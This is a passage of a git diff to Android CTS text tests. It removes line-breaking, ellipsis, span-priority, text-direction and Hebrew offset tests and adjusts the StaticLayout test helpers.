-        List<DrawCommand> mDrawCommands;
-
-        public MockCanvas(int width, int height) {
-            super();
-            mDrawCommands = new ArrayList<>();
-            Bitmap bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
-            setBitmap(bitmap);
-        }
-
-        // Drawing text with either drawText or drawTextRun is valid; we don't care which.
-        // We also don't care which of the string representations is used.
-
-        @Override
-        public void drawText(String text, int start, int end, float x, float y, Paint p) {
-            mDrawCommands.add(new DrawCommand(text.substring(start, end), x, y));
-        }
-
-        @Override
-        public void drawText(CharSequence text, int start, int end, float x, float y, Paint p) {
-            drawText(text.toString(), start, end, x, y, p);
-        }
-
-        @Override
-        public void drawText(char[] text, int index, int count, float x, float y, Paint p) {
-            mDrawCommands.add(new DrawCommand(new String(text, index, count), x, y));
-        }
-
-        @Override
-        public void drawTextRun(CharSequence text, int start, int end, int contextStart,
-                int contextEnd, float x, float y, boolean isRtl, Paint paint) {
-            drawText(text, start, end, x, y, paint);
-        }
-
-        @Override
-        public void drawTextRun(char[] text, int index, int count, int contextIndex,
-                int contextCount, float x, float y, boolean isRtl, Paint paint) {
-            drawText(text, index, count, x, y, paint);
-        }
-
-        List<DrawCommand> getDrawCommands() {
-            return mDrawCommands;
-        }
-    }
 }
diff --git a/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java b/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java
index 3e58853..b8f3f42 100644
--- a/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java
+++ b/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java
@@ -32,7 +32,6 @@
 import android.text.SpannableStringBuilder;
 import android.text.Spanned;
 import android.text.TextWatcher;
-import android.text.style.BulletSpan;
 import android.text.style.QuoteSpan;
 import android.text.style.StrikethroughSpan;
 import android.text.style.SubscriptSpan;
@@ -772,32 +771,6 @@
     }
 
     @Test
-    public void testGetSpans_sortsByPriorityEvenWhenSortParamIsFalse() {
-        String text = "p_in_s";
-        SpannableStringBuilder builder = new SpannableStringBuilder(text);
-        Object first = new SubscriptSpan();
-        Object second = new UnderlineSpan();
-        Object third = new BulletSpan();
-        Object fourth = new QuoteSpan();
-
-        builder.setSpan(first, 2, 4, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
-        builder.setSpan(second, 1, text.length(), Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
-        builder.setSpan(third, 2, text.length(), 1 << Spanned.SPAN_PRIORITY_SHIFT);
-        builder.setSpan(fourth, 0, text.length(), 2 << Spanned.SPAN_PRIORITY_SHIFT);
-
-        Object[] spans = builder.getSpans(0, text.length(), Object.class, false);
-
-        assertNotNull(spans);
-        assertEquals(4, spans.length);
-        // priority spans are first
-        assertEquals(fourth, spans[0]);
-        assertEquals(third, spans[1]);
-        // other spans should be there
-        assertEquals(second, spans[2]);
-        assertEquals(first, spans[3]);
-    }
-
-    @Test
     public void testLength() {
         SpannableStringBuilder builder = new SpannableStringBuilder("hello");
         assertEquals(5, builder.length());
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java
deleted file mode 100644
index 24f9932..0000000
--- a/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java
+++ /dev/null
@@ -1,467 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.text.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.text.Layout.Alignment;
-import android.text.SpannableStringBuilder;
-import android.text.Spanned;
-import android.text.StaticLayout;
-import android.text.TextDirectionHeuristics;
-import android.text.TextPaint;
-import android.text.style.MetricAffectingSpan;
-import android.util.Log;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class StaticLayoutLineBreakingTest {
-    // Span test are currently not supported because text measurement uses the MeasuredText
-    // internal mWorkPaint instead of the provided MockTestPaint.
-    private static final boolean SPAN_TESTS_SUPPORTED = false;
-    private static final boolean DEBUG = false;
-
-    private static final float SPACE_MULTI = 1.0f;
-    private static final float SPACE_ADD = 0.0f;
-    private static final int WIDTH = 100;
-    private static final Alignment ALIGN = Alignment.ALIGN_LEFT;
-
-    private static final char SURR_FIRST = '\uD800';
-    private static final char SURR_SECOND = '\uDF31';
-
-    private static final int[] NO_BREAK = new int[] {};
-
-    private static final TextPaint mTextPaint = new MockTextPaint();
-
-    private static class MockTextPaint extends TextPaint {
-
-        @Override
-        public float getTextRunAdvances(char[] chars, int index, int count,
-                int contextIndex, int contextCount, boolean isRtl, float[] advances,
-                int advancesIndex) {
-
-            // Conditions copy pasted from Paint
-            if (chars == null) {
-                throw new IllegalArgumentException("text cannot be null");
-            }
-
-            if ((index | count | contextIndex | contextCount | advancesIndex
-                    | (index - contextIndex) | (contextCount - count)
-                    | ((contextIndex + contextCount) - (index + count))
-                    | (chars.length - (contextIndex + contextCount))
-                    | (advances == null ? 0 :
-                        (advances.length - (advancesIndex + count)))) < 0) {
-                throw new IndexOutOfBoundsException();
-            }
-
-            float res = 0.0f;
-
-            if (advances != null) {
-                for (int i = 0; i < count; i++) {
-                    float width = getCharWidth(chars[index + i]);
-                    advances[advancesIndex + i] = width;
-                    res += width;
-                }
-            }
-
-            return res;
-        }
-    }
-
-    private static float getCharWidth(char c) {
-        switch (Character.toUpperCase(c)) {
-            // Roman figures
-            case 'I': return 1.0f;
-            case 'V': return 5.0f;
-            case 'X': return 10.0f;
-            case 'L': return 50.0f;
-            case 'C': return 100.0f; // equals to WIDTH
-            case ' ': return 10.0f;
-            case '_': return 0.0f; // 0-width character
-            case SURR_FIRST: return 7.0f;
-            case SURR_SECOND: return 3.0f; // Sum of SURR_FIRST-SURR_SECOND is 10
-            default: return 10.0f;
-        }
-    }
-
-    private static StaticLayout getStaticLayout(CharSequence source, int width) {
-        return new StaticLayout(source, mTextPaint, width, ALIGN, SPACE_MULTI, SPACE_ADD, false);
-    }
-
-    private static int[] getBreaks(CharSequence source) {
-        return getBreaks(source, WIDTH);
-    }
-
-    private static int[] getBreaks(CharSequence source, int width) {
-        StaticLayout staticLayout = getStaticLayout(source, width);
-
-        int[] breaks = new int[staticLayout.getLineCount() - 1];
-        for (int line = 0; line < breaks.length; line++) {
-            breaks[line] = staticLayout.getLineEnd(line);
-        }
-        return breaks;
-    }
-
-    private static void debugLayout(CharSequence source, StaticLayout staticLayout) {
-        if (DEBUG) {
-            int count = staticLayout.getLineCount();
-            Log.i("SLLBTest", "\"" + source.toString() + "\": " +
-                    count + " lines");
-            for (int line = 0; line < count; line++) {
-                int lineStart = staticLayout.getLineStart(line);
-                int lineEnd = staticLayout.getLineEnd(line);
-                Log.i("SLLBTest", "Line " + line + " [" + lineStart + ".." +
-                        lineEnd + "]\t" + source.subSequence(lineStart, lineEnd));
-            }
-        }
-    }
-
-    private static void layout(CharSequence source, int[] breaks) {
-        layout(source, breaks, WIDTH);
-    }
-
-    private static void layout(CharSequence source, int[] breaks, int width) {
-        StaticLayout staticLayout = getStaticLayout(source, width);
-
-        debugLayout(source, staticLayout);
-
-        int lineCount = breaks.length + 1;
-        assertEquals("Number of lines", lineCount, staticLayout.getLineCount());
-
-        for (int line = 0; line < lineCount; line++) {
-            int lineStart = staticLayout.getLineStart(line);
-            int lineEnd = staticLayout.getLineEnd(line);
-
-            if (line == 0) {
-                assertEquals("Line start for first line", 0, lineStart);
-            } else {
-                assertEquals("Line start for line " + line, breaks[line - 1], lineStart);
-            }
-
-            if (line == lineCount - 1) {
-                assertEquals("Line end for last line", source.length(), lineEnd);
-            } else {
-                assertEquals("Line end for line " + line, breaks[line], lineEnd);
-            }
-        }
-    }
-
-    private static void layoutMaxLines(CharSequence source, int[] breaks, int maxLines) {
-        StaticLayout staticLayout = new StaticLayout(source, 0, source.length(), mTextPaint, WIDTH,
-                ALIGN, TextDirectionHeuristics.LTR, SPACE_MULTI, SPACE_ADD, false /* includePad */,
-                null, WIDTH, maxLines);
-
-        debugLayout(source, staticLayout);
-
-        final int lineCount = staticLayout.getLineCount();
-
-        for (int line = 0; line < lineCount; line++) {
-            int lineStart = staticLayout.getLineStart(line);
-            int lineEnd = staticLayout.getLineEnd(line);
-
-            if (line == 0) {
-                assertEquals("Line start for first line", 0, lineStart);
-            } else {
-                assertEquals("Line start for line " + line, breaks[line - 1], lineStart);
-            }
-
-            if (line == lineCount - 1 && line != breaks.length - 1) {
-                assertEquals("Line end for last line", source.length(), lineEnd);
-            } else {
-                assertEquals("Line end for line " + line, breaks[line], lineEnd);
-            }
-        }
-    }
-
-    private final static int MAX_SPAN_COUNT = 10;
-    private final static int[] spanStarts = new int[MAX_SPAN_COUNT];
-    private final static int[] spanEnds = new int[MAX_SPAN_COUNT];
-
-    private static MetricAffectingSpan getMetricAffectingSpan() {
-        return new MetricAffectingSpan() {
-            @Override
-            public void updateDrawState(TextPaint tp) { /* empty */ }
-
-            @Override
-            public void updateMeasureState(TextPaint p) { /* empty */ }
-        };
-    }
-
-    /**
-     * Replaces the "<...>" blocks by spans, assuming non overlapping, correctly defined spans
-     * @param text
-     * @return A CharSequence with '<' '>' replaced by MetricAffectingSpan
-     */
-    private static CharSequence spanify(String text) {
-        int startIndex = text.indexOf('<');
-        if (startIndex < 0) return text;
-
-        int spanCount = 0;
-        do {
-            int endIndex = text.indexOf('>');
-            if (endIndex < 0) throw new IllegalArgumentException("Unbalanced span markers");
-
-            text = text.substring(0, startIndex) + text.substring(startIndex + 1, endIndex) +
-                    text.substring(endIndex + 1);
-
-            spanStarts[spanCount] = startIndex;
-            spanEnds[spanCount] = endIndex - 2;
-            spanCount++;
-
-            startIndex = text.indexOf('<');
-        } while (startIndex >= 0);
-
-        SpannableStringBuilder result = new SpannableStringBuilder(text);
-        for (int i = 0; i < spanCount; i++) {
-            result.setSpan(getMetricAffectingSpan(), spanStarts[i], spanEnds[i],
-                    Spanned.SPAN_INCLUSIVE_INCLUSIVE);
-        }
-        return result;
-    }
-
-    @Test
-    public void testNoLineBreak() {
-        // Width lower than WIDTH
-        layout("", NO_BREAK);
-        layout("I", NO_BREAK);
-        layout("V", NO_BREAK);
-        layout("X", NO_BREAK);
-        layout("L", NO_BREAK);
-        layout("I VILI", NO_BREAK);
-        layout("XXXX", NO_BREAK);
-        layout("LXXXX", NO_BREAK);
-
-        // Width equal to WIDTH
-        layout("C", NO_BREAK);
-        layout("LL", NO_BREAK);
-        layout("L XXXX", NO_BREAK);
-        layout("XXXXXXXXXX", NO_BREAK);
-        layout("XXX XXXXXX", NO_BREAK);
-        layout("XXX XXXX X", NO_BREAK);
-        layout("XXX XXXXX ", NO_BREAK);
-        layout(" XXXXXXXX ", NO_BREAK);
-        layout("  XX  XXX ", NO_BREAK);
-        //      0123456789
-
-        // Width greater than WIDTH, but no break
-        layout("  XX  XXX  ", NO_BREAK);
-        layout("XX XXX XXX ", NO_BREAK);
-        layout("XX XXX XXX     ", NO_BREAK);
-        layout("XXXXXXXXXX     ", NO_BREAK);
-        //      01234567890
-    }
-
-    @Test
-    public void testOneLineBreak() {
-        //      01234567890
-        layout("XX XXX XXXX", new int[] {7});
-        layout("XX XXXX XXX", new int[] {8});
-        layout("XX XXXXX XX", new int[] {9});
-        layout("XX XXXXXX X", new int[] {10});
-        //      01234567890
-        layout("XXXXXXXXXXX", new int[] {10});
-        layout("XXXXXXXXX X", new int[] {10});
-        layout("XXXXXXXX XX", new int[] {9});
-        layout("XXXXXXX XXX", new int[] {8});
-        layout("XXXXXX XXXX", new int[] {7});
-        //      01234567890
-        layout("LL LL", new int[] {3});
-        layout("LLLL", new int[] {2});
-        layout("C C", new int[] {2});
-        layout("CC", new int[] {1});
-    }
-
-    @Test
-    public void testSpaceAtBreak() {
-        //      0123456789012
-        layout("XXXX XXXXX X", new int[] {11});
-        layout("XXXXXXXXXX X", new int[] {11});
-        layout("XXXXXXXXXV X", new int[] {11});
-        layout("C X", new int[] {2});
-    }
-
-    @Test
-    public void testMultipleSpacesAtBreak() {
-        //      0123456789012
-        layout("LXX XXXX", new int[] {4});
-        layout("LXX  XXXX", new int[] {5});
-        layout("LXX   XXXX", new int[] {6});
-        layout("LXX    XXXX", new int[] {7});
-        layout("LXX     XXXX", new int[] {8});
-    }
-
-    @Test
-    public void testZeroWidthCharacters() {
-        //      0123456789012345678901234
-        layout("X_X_X_X_X_X_X_X_X_X", NO_BREAK);
-        layout("___X_X_X_X_X_X_X_X_X_X___", NO_BREAK);
-        layout("C_X", new int[] {2});
-        layout("C__X", new int[] {3});
-    }
-
-    /**
-     * Note that when the text has spans, StaticLayout does not use the provided TextPaint to
-     * measure text runs anymore. This is probably a bug.
-     * To be able to use the fake mTextPaint and make this test pass, use mPaint instead of
-     * mWorkPaint in MeasuredText#addStyleRun
-     */
-    @Test
-    public void testWithSpans() {
-        if (!SPAN_TESTS_SUPPORTED) return;
-
-        layout(spanify("<012 456 89>"), NO_BREAK);
-        layout(spanify("012 <456> 89"), NO_BREAK);
-        layout(spanify("<012> <456>< 89>"), NO_BREAK);
-        layout(spanify("<012> <456> <89>"), NO_BREAK);
-
-        layout(spanify("<012> <456> <89>012"), new int[] {8});
-        layout(spanify("<012> <456> 89<012>"), new int[] {8});
-        layout(spanify("<012> <456> <89><012>"), new int[] {8});
-        layout(spanify("<012> <456> 89 <123>"), new int[] {11});
-        layout(spanify("<012> <456> 89< 123>"), new int[] {11});
-        layout(spanify("<012> <456> <89> <123>"), new int[] {11});
-        layout(spanify("012 456 89 <LXX> XX XX"), new int[] {11, 18});
-    }
-
-    /*
-     * Adding a span to the string should not change the layout, since the metrics are unchanged.
-     */
-    @Test
-    public void testWithOneSpan() {
-        if (!SPAN_TESTS_SUPPORTED) return;
-
-        String[] texts = new String[] { "0123", "012 456", "012 456 89 123", "012 45678 012",
-                "012 456 89012 456 89012", "0123456789012" };
-
-        MetricAffectingSpan metricAffectingSpan = getMetricAffectingSpan();
-
-        for (String text : texts) {
-            // Get the line breaks without any span
-            int[] breaks = getBreaks(text);
-
-            // Add spans on all possible offsets
-            for (int spanStart = 0; spanStart < text.length(); spanStart++) {
-                for (int spanEnd = spanStart; spanEnd < text.length(); spanEnd++) {
-                    SpannableStringBuilder ssb = new SpannableStringBuilder(text);
-                    ssb.setSpan(metricAffectingSpan, spanStart, spanEnd,
-                            Spanned.SPAN_INCLUSIVE_INCLUSIVE);
-                    layout(ssb, breaks);
-                }
-            }
-        }
-    }
-
-    @Test
-    public void testWithTwoSpans() {
-        if (!SPAN_TESTS_SUPPORTED) return;
-
-        String[] texts = new String[] { "0123", "012 456", "012 456 89 123", "012 45678 012",
-                "012 456 89012 456 89012", "0123456789012" };
-
-        MetricAffectingSpan metricAffectingSpan1 = getMetricAffectingSpan();
-        MetricAffectingSpan metricAffectingSpan2 = getMetricAffectingSpan();
-
-        for (String text : texts) {
-            // Get the line breaks without any span
-            int[] breaks = getBreaks(text);
-
-            // Add spans on all possible offsets
-            for (int spanStart1 = 0; spanStart1 < text.length(); spanStart1++) {
-                for (int spanEnd1 = spanStart1; spanEnd1 < text.length(); spanEnd1++) {
-                    SpannableStringBuilder ssb = new SpannableStringBuilder(text);
-                    ssb.setSpan(metricAffectingSpan1, spanStart1, spanEnd1,
-                            Spanned.SPAN_INCLUSIVE_INCLUSIVE);
-
-                    for (int spanStart2 = 0; spanStart2 < text.length(); spanStart2++) {
-                        for (int spanEnd2 = spanStart2; spanEnd2 < text.length(); spanEnd2++) {
-                            ssb.setSpan(metricAffectingSpan2, spanStart2, spanEnd2,
-                                    Spanned.SPAN_INCLUSIVE_INCLUSIVE);
-                            layout(ssb, breaks);
-                        }
-                    }
-                }
-            }
-        }
-    }
-
-    public static String replace(String string, char c, char r) {
-        return string.replaceAll(String.valueOf(c), String.valueOf(r));
-    }
-
-    @Test
-    public void testWithSurrogate() {
-        layout("LX" + SURR_FIRST + SURR_SECOND, NO_BREAK);
-        layout("LXXXX" + SURR_FIRST + SURR_SECOND, NO_BREAK);
-        // LXXXXI (91) + SURR_FIRST (7) fits. But we should not break the surrogate pair
-        // Bug: surrogate pair is broken, should be 6 (breaking after the 'V')
-        // Maybe not: may be ok if the second character of a pair always has a 0-width
-        layout("LXXXXI" + SURR_FIRST + SURR_SECOND, new int[] {7});
-
-        // LXXXXI (95) + SURR_SECOND (3) fits, but this is not a valid surrogate pair, breaking it
-        layout("LXXXXV" + SURR_SECOND + SURR_FIRST, new int[] {7});
-
-        layout("C" + SURR_FIRST + SURR_SECOND, new int[] {1});
-    }
-
-    @Test
-    public void testNarrowWidth() {
-        int[] widths = new int[] { 0, 4, 10 };
-        String[] texts = new String[] { "", "X", " ", "XX", " X", "XXX" };
-
-        for (String text: texts) {
-            // 15 is such that only one character will fit
-            int[] breaks = getBreaks(text, 15);
-
-            // Width under 15 should all lead to the same line break
-            for (int width: widths) {
-                layout(text, breaks, width);
-            }
-        }
-    }
-
-    @Test
-    public void testNarrowWidthZeroWidth() {
-        int[] widths = new int[] { 1, 4 };
-        for (int width: widths) {
-            layout("X.", new int[] {1}, width);
-            layout("X__", NO_BREAK, width);
-            layout("X__X", new int[] {3}, width);
-            layout("X__X_", new int[] {3}, width);
-
-            layout("_", NO_BREAK, width);
-            layout("__", NO_BREAK, width);
-            layout("_X", new int[] {1}, width);
-            layout("_X_", new int[] {1}, width);
-            layout("__X__", new int[] {2}, width);
-        }
-    }
-
-    @Test
-    public void testMaxLines() {
-        layoutMaxLines("C", NO_BREAK, 1);
-        layoutMaxLines("C C", new int[] {2}, 1);
-        layoutMaxLines("C C", new int[] {2}, 2);
-        layoutMaxLines("CC", new int[] {1}, 1);
-        layoutMaxLines("CC", new int[] {1}, 2);
-    }
-}
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
index df60064..4f022a5 100644
--- a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
@@ -33,7 +33,6 @@
 import android.text.Spanned;
 import android.text.SpannedString;
 import android.text.StaticLayout;
-import android.text.TextDirectionHeuristics;
 import android.text.TextPaint;
 import android.text.TextUtils;
 import android.text.TextUtils.TruncateAt;
@@ -98,14 +97,12 @@
     }
 
     private StaticLayout createEllipsizeStaticLayout(CharSequence text,
-            TextUtils.TruncateAt ellipsize, int maxLines) {
+            TextUtils.TruncateAt ellipsize) {
         return new StaticLayout(text, 0, text.length(),
                 mDefaultPaint, DEFAULT_OUTER_WIDTH, DEFAULT_ALIGN,
-                TextDirectionHeuristics.FIRSTSTRONG_LTR,
                 SPACE_MULTI, SPACE_ADD, true /* include pad */,
                 ellipsize,
-                ELLIPSIZE_WIDTH,
-                maxLines);
+                ELLIPSIZE_WIDTH);
     }
 
     /**
@@ -140,8 +137,6 @@
             assertEquals(mDefaultPaint, layout.getPaint());
             assertEquals(DEFAULT_OUTER_WIDTH, layout.getWidth());
             // Check default values.
-            assertEquals(TextDirectionHeuristics.FIRSTSTRONG_LTR,
-                    layout.getTextDirectionHeuristic());
             assertEquals(Alignment.ALIGN_NORMAL, layout.getAlignment());
             assertEquals(0.0f, layout.getSpacingAdd(), 0.0f);
             assertEquals(1.0f, layout.getSpacingMultiplier(), 0.0f);
@@ -173,16 +168,6 @@
             assertEquals(DEFAULT_ALIGN, layout.getAlignment());
         }
         {
-            // setTextDirection.
-            StaticLayout.Builder builder = StaticLayout.Builder.obtain(LAYOUT_TEXT, 0,
-                    LAYOUT_TEXT.length(), mDefaultPaint, DEFAULT_OUTER_WIDTH);
-            builder.setTextDirection(TextDirectionHeuristics.RTL);
-            StaticLayout layout = builder.build();
-            // Always returns TextDirectionHeuristics.FIRSTSTRONG_LTR.
-            assertEquals(TextDirectionHeuristics.FIRSTSTRONG_LTR,
-                    layout.getTextDirectionHeuristic());
-        }
-        {
             // setLineSpacing.
             StaticLayout.Builder builder = StaticLayout.Builder.obtain(LAYOUT_TEXT, 0,
                     LAYOUT_TEXT.length(), mDefaultPaint, DEFAULT_OUTER_WIDTH);
@@ -412,8 +397,7 @@
     public void testGetEllipsisCount() {
         // Multilines (6 lines) and TruncateAt.START so no ellipsis at all
         mDefaultLayout = createEllipsizeStaticLayout(LAYOUT_TEXT,
-                TextUtils.TruncateAt.MIDDLE,
-                Integer.MAX_VALUE /* maxLines */);
+                TextUtils.TruncateAt.MIDDLE);
 
         assertTrue(mDefaultLayout.getEllipsisCount(0) == 0);
         assertTrue(mDefaultLayout.getEllipsisCount(1) == 0);
@@ -436,8 +420,7 @@
 
         // Multilines (6 lines) and TruncateAt.MIDDLE so no ellipsis at all
         mDefaultLayout = createEllipsizeStaticLayout(LAYOUT_TEXT,
-                TextUtils.TruncateAt.MIDDLE,
-                Integer.MAX_VALUE /* maxLines */);
+                TextUtils.TruncateAt.MIDDLE);
 
         assertTrue(mDefaultLayout.getEllipsisCount(0) == 0);
         assertTrue(mDefaultLayout.getEllipsisCount(1) == 0);
@@ -448,8 +431,7 @@
 
         // Multilines (6 lines) and TruncateAt.END so ellipsis only on the last line
         mDefaultLayout = createEllipsizeStaticLayout(LAYOUT_TEXT,
-                TextUtils.TruncateAt.END,
-                Integer.MAX_VALUE /* maxLines */);
+                TextUtils.TruncateAt.END);
 
         assertTrue(mDefaultLayout.getEllipsisCount(0) == 0);
         assertTrue(mDefaultLayout.getEllipsisCount(1) == 0);
@@ -460,8 +442,7 @@
 
         // Multilines (6 lines) and TruncateAt.MARQUEE so ellipsis only on the last line
         mDefaultLayout = createEllipsizeStaticLayout(LAYOUT_TEXT,
-                TextUtils.TruncateAt.END,
-                Integer.MAX_VALUE /* maxLines */);
+                TextUtils.TruncateAt.END);
 
         assertTrue(mDefaultLayout.getEllipsisCount(0) == 0);
         assertTrue(mDefaultLayout.getEllipsisCount(1) == 0);
@@ -517,104 +498,6 @@
         assertEquals(outerWidth, layout.getEllipsizedWidth());
     }
 
-    @Test
-    public void testEllipsis_singleLine() {
-        {
-            // Single line case and TruncateAt.END so that we have some ellipsis
-            StaticLayout layout = createEllipsizeStaticLayout(LAYOUT_TEXT_SINGLE_LINE,
-                    TextUtils.TruncateAt.END, 1);
-            assertTrue(layout.getEllipsisCount(0) > 0);
-        }
-        {
-            // Single line case and TruncateAt.MIDDLE so that we have some ellipsis
-            StaticLayout layout = createEllipsizeStaticLayout(LAYOUT_TEXT_SINGLE_LINE,
-                    TextUtils.TruncateAt.MIDDLE, 1);
-            assertTrue(layout.getEllipsisCount(0) > 0);
-        }
-        {
-            // Single line case and TruncateAt.END so that we have some ellipsis
-            StaticLayout layout = createEllipsizeStaticLayout(LAYOUT_TEXT_SINGLE_LINE,
-                    TextUtils.TruncateAt.END, 1);
-            assertTrue(layout.getEllipsisCount(0) > 0);
-        }
-        {
-            // Single line case and TruncateAt.MARQUEE so that we have NO ellipsis
-            StaticLayout layout = createEllipsizeStaticLayout(LAYOUT_TEXT_SINGLE_LINE,
-                    TextUtils.TruncateAt.MARQUEE, 1);
-            assertTrue(layout.getEllipsisCount(0) == 0);
-        }
-        {
-            final String text = "\u3042" // HIRAGANA LETTER A
-                    + "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz";
-            final float textWidth = mDefaultPaint.measureText(text);
-            final int halfWidth = (int)(textWidth / 2.0f);
-            {
-                StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
-                        halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
-                        SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.END, halfWidth, 1);
-                assertTrue(layout.getEllipsisCount(0) > 0);
-                assertTrue(layout.getEllipsisStart(0) > 0);
-            }
-            {
-                StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
-                        halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
-                        SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.START, halfWidth, 1);
-                assertTrue(layout.getEllipsisCount(0) > 0);
-                assertEquals(0, mDefaultLayout.getEllipsisStart(0));
-            }
-            {
-                StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
-                        halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
-                        SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.MIDDLE, halfWidth, 1);
-                assertTrue(layout.getEllipsisCount(0) > 0);
-                assertTrue(layout.getEllipsisStart(0) > 0);
-            }
-            {
-                StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
-                        halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
-                        SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.MARQUEE, halfWidth, 1);
-                assertEquals(0, layout.getEllipsisCount(0));
-            }
-        }
-
-        {
-            // The white spaces in this text will be trailing if maxLines is larger than 1, but
-            // width of the trailing white spaces must not be ignored if ellipsis is applied.
-            final String text = "abc                                             def";
-            final float textWidth = mDefaultPaint.measureText(text);
-            final int halfWidth = (int)(textWidth / 2.0f);
-            {
-                StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
-                        halfWidth, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
-                        SPACE_MULTI, SPACE_ADD, false, TextUtils.TruncateAt.END, halfWidth, 1);
-                assertTrue(layout.getEllipsisCount(0) > 0);
-                assertTrue(layout.getEllipsisStart(0) > 0);
-            }
-        }
-
-        {
-            // 2 family emojis (11 code units + 11 code units).
-            final String text = "\uD83D\uDC68\u200D\uD83D\uDC69\u200D\uD83D\uDC67\u200D\uD83D\uDC66"
-                    + "\uD83D\uDC68\u200D\uD83D\uDC69\u200D\uD83D\uDC67\u200D\uD83D\uDC66";
-            final float textWidth = mDefaultPaint.measureText(text);
-
-            final TextUtils.TruncateAt[] kinds = {TextUtils.TruncateAt.START,
-                    TextUtils.TruncateAt.MIDDLE, TextUtils.TruncateAt.END};
-            for (final TextUtils.TruncateAt kind : kinds) {
-                for (int i = 0; i <= 8; i++) {
-                    int avail = (int)(textWidth * i / 7.0f);
-                    StaticLayout layout = new StaticLayout(text, 0, text.length(), mDefaultPaint,
-                            avail, DEFAULT_ALIGN, TextDirectionHeuristics.FIRSTSTRONG_LTR,
-                            SPACE_MULTI, SPACE_ADD, false, kind, avail, 1);
-
-                    assertTrue(layout.getEllipsisCount(0) == text.length()
-                                    || layout.getEllipsisCount(0) == text.length() / 2
-                                    || layout.getEllipsisCount(0) == 0);
-                }
-            }
-        }
-    }
-
     /**
      * scenario description:
      * 1. set the text.
@@ -920,32 +803,6 @@
     }
 
     @Test
-    public void testGetOffset_UNICODE_Hebrew() {
-        String testString = "\u05DE\u05E1\u05E2\u05D3\u05D4"; // Hebrew Characters
-        for (CharSequence seq: buildTestCharSequences(testString, Normalizer.Form.values())) {
-            StaticLayout layout = new StaticLayout(seq, mDefaultPaint,
-                    DEFAULT_OUTER_WIDTH, DEFAULT_ALIGN,
-                    TextDirectionHeuristics.RTL, SPACE_MULTI, SPACE_ADD, true);
-
-            String testLabel = buildTestMessage(seq);
-
-            assertEquals(testLabel, 1, layout.getOffsetToLeftOf(0));
-            assertEquals(testLabel, 2, layout.getOffsetToLeftOf(1));
-            assertEquals(testLabel, 3, layout.getOffsetToLeftOf(2));
-            assertEquals(testLabel, 4, layout.getOffsetToLeftOf(3));
-            assertEquals(testLabel, 5, layout.getOffsetToLeftOf(4));
-            assertEquals(testLabel, 5, layout.getOffsetToLeftOf(5));
-
-            assertEquals(testLabel, 0, layout.getOffsetToRightOf(0));
-            assertEquals(testLabel, 0, layout.getOffsetToRightOf(1));
-            assertEquals(testLabel, 1, layout.getOffsetToRightOf(2));
-            assertEquals(testLabel, 2, layout.getOffsetToRightOf(3));
-            assertEquals(testLabel, 3, layout.getOffsetToRightOf(4));
-            assertEquals(testLabel, 4, layout.getOffsetToRightOf(5));
-        }
-    }
-
-    @Test
     public void testGetOffset_UNICODE_Arabic() {
         // Arabic Characters. The expected cursorable boundary is
         // | \u0623 \u064F | \u0633 \u0652 | \u0631 \u064E | \u0629 \u064C |";
@@ -1333,5 +1190,4 @@
                 .setEllipsize(TruncateAt.END).build();
         layout.getPrimaryHorizontal(layout.getText().length());
     }
-
 }
diff --git a/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java b/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
index c8739d1..a3d4806 100644
--- a/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
+++ b/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
@@ -32,7 +32,6 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.text.DateFormat;
 import java.util.Calendar;
 import java.util.Date;
 import java.util.Formatter;
@@ -188,46 +187,6 @@
         assertEquals(expected, sb.toString());
     }
 
-    @Test
-    public void testFormatSameDayTime() {
-        if (!LocaleUtils.isCurrentLocale(mContext, Locale.US)) {
-            return;
-        }
-
-        // This test assumes a default DateFormat.is24Hour setting.
-        DateFormat.is24Hour = null;
